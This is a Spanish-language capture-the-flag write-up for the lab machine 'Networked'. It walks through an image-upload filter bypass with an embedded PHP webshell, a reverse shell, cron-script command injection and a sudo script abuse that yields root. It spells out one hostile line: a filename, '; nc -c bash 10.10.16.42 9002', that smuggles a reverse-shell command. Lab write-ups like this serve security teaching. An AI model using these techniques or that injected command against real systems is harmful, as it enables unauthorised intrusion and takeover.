Networked

Publicado: 02 de Junio de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Easy

๐Ÿ“ Descripciรณn

Networked es una mรกquina Linux de dificultad Easy que simula una aplicaciรณn web vulnerable de galerรญa de fotos. La explotaciรณn se centra en la subida de archivos maliciosos que permiten ejecuciรณn remota de cรณdigo a travรฉs de filtros de validaciรณn dรฉbiles. El vector de escalada de privilegios implica la explotaciรณn de un script cron vulnerable y posteriormente un script sudo mal configurado que permite la ejecuciรณn de comandos como root.

La mรกquina enseรฑa conceptos fundamentales como bypass de filtros de subida de archivos, anรกlisis de cรณdigo fuente, explotaciรณn de tareas cron y escalada de privilegios mediante configuraciones sudo inseguras.

๐Ÿ”ญ Reconocimiento

Ping para verificaciรณn en base a TTL

๐Ÿ’ก Nota: El TTL cercano a 64 sugiere que probablemente sea una mรกquina Linux.

Escaneo de puertos

Enumeraciรณn de servicios


๐ŸŒ Enumeraciรณn Web

80 HTTP

http://10.10.10.146/

Enumerando el sitio web encontramos a priori poca cosa salvo este mensaje:

Revisando el cรณdigo fuente de la pรกgina hay un comentario que sugiere que podrรญa haber un mรณdulo de subida de archivos e imรกgenes aunque aรบn no estรก enlazado.

๐Ÿ•ท๏ธFuzzing de directorios

Al realizar fuzzing de directorios usando la herramienta gobuster descubrimos algunos directorios que corroboran el comentario que habรญamos encontrado anteriormente:

http://10.10.10.146/upload.php

El archivo backup.tar contiene un respaldo del cรณdigo fuente de la aplicaciรณn.

๐Ÿ’ฅ Explotaciรณn

๐Ÿ“‚ Anรกlisis del cรณdigo fuente

Esto nos permitirรก analizarlo para ver si podemos obtener una RCE a partir de una subida arbitraria de archivos.

Tras analizar el cรณdigo verificamos varias restricciones:

Requiere que el contenido real sea de tipo image/* (analizado con finfo_file()). Tamaรฑo del archivo < 60 KB. Solo se permite si el nombre del archivo termina con .jpg, .png, .gif o .jpeg.

Para llevar a cabo la explotaciรณn realizamos los siguientes pasos:

Creamos una imagen dummy que sea vรกlida

Embebemos una php shell en la imagen que hemos creado anteriormente

Verificamos el tamaรฑo y el mime type para asegurarnos de que cumpla con las condiciones necesarias para pasar los filtros de validaciรณn:

Renombramos el archivo

๐Ÿš€ Obtenciรณn de RCE

Ahora nos vamos al mรณdulo de subida de archivos e interceptamos la peticiรณn con burp y verificamos que la imagen se suba correctamente:

Ahora nos vamos a http://10.10.10.146/photos.php y verificamos que se haya subido correctamente nuestro archivo:

Accedemos a ella revisando el cรณdigo fuente de la pรกgina y usando la url de la imagen. A continuaciรณn ejecutamos el comando id haciendo uso de la webshell y confirmamos que funciona:

Una vez confirmada la PoC, usamos una bash reverse shell y la codificamos como URL para ganar acceso remoto a la mรกquina objetivo:

Mejora de la tty

Acceso inicial

Una vez ganado acceso a la mรกquina, descubrimos un directorio de usuario llamado guly y vemos que no tenemos permisos para leer la flag:

Verificamos el contenido crontab.guly y de check_attack.php y vemos que hay una expresiรณn crontab que cada tres minutos ejecuta el archiv check_attack.php:

Este cรณdigo busca en el directorio /var/www/html/uploads/para recuperar todos los archivos de รฉl. La funciรณn โ€˜execโ€™ es notable porque nos permite crear un nuevo archivo llamado โ€˜; nc -c bash 10.10.16.42 9002โ€™. Una vez que el script se ejecuta y detecta este archivo, inyectarรก nuestro comando en รฉl.

Para llevar a cabo la explotaciรณn, nos situamos en el directorio /var/www/html/uploads/ y creamos el siguiente archivo:

Esperamos 3 minutos a que se ejecute y obtenemos una shell como guly y obtenemos la primera flag:

๐Ÿ” Escalada de Privilegios

Descubrimos que el usuario guly puede puede ejecutar como root un script llamado changename.sh

El usuario guly tiene permisos de lectura y ejecuciรณn sobre este script:

Revisamos el contenido de este script para su anรกlisis:

https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

La clave en el script anterior estรก en que se realiza un read de x y la expresiรณn regular รบnicamente valida que sea caracteres alfanumรฉricos y ciertos sรญmbolos. Pero si aprovechamos para introducir un espacio o cualquier otro comando antes de ejecutar ciertos comandos como "id" o directamente una "/bin/bash" observamos que lo acepta sin problemas y dado que este es un script en el que se estรก ejecutando como root y ademรกs hay definido un bash -p que ejecuta bash en modo privilegiado, pues resulta sencillo:

Last updated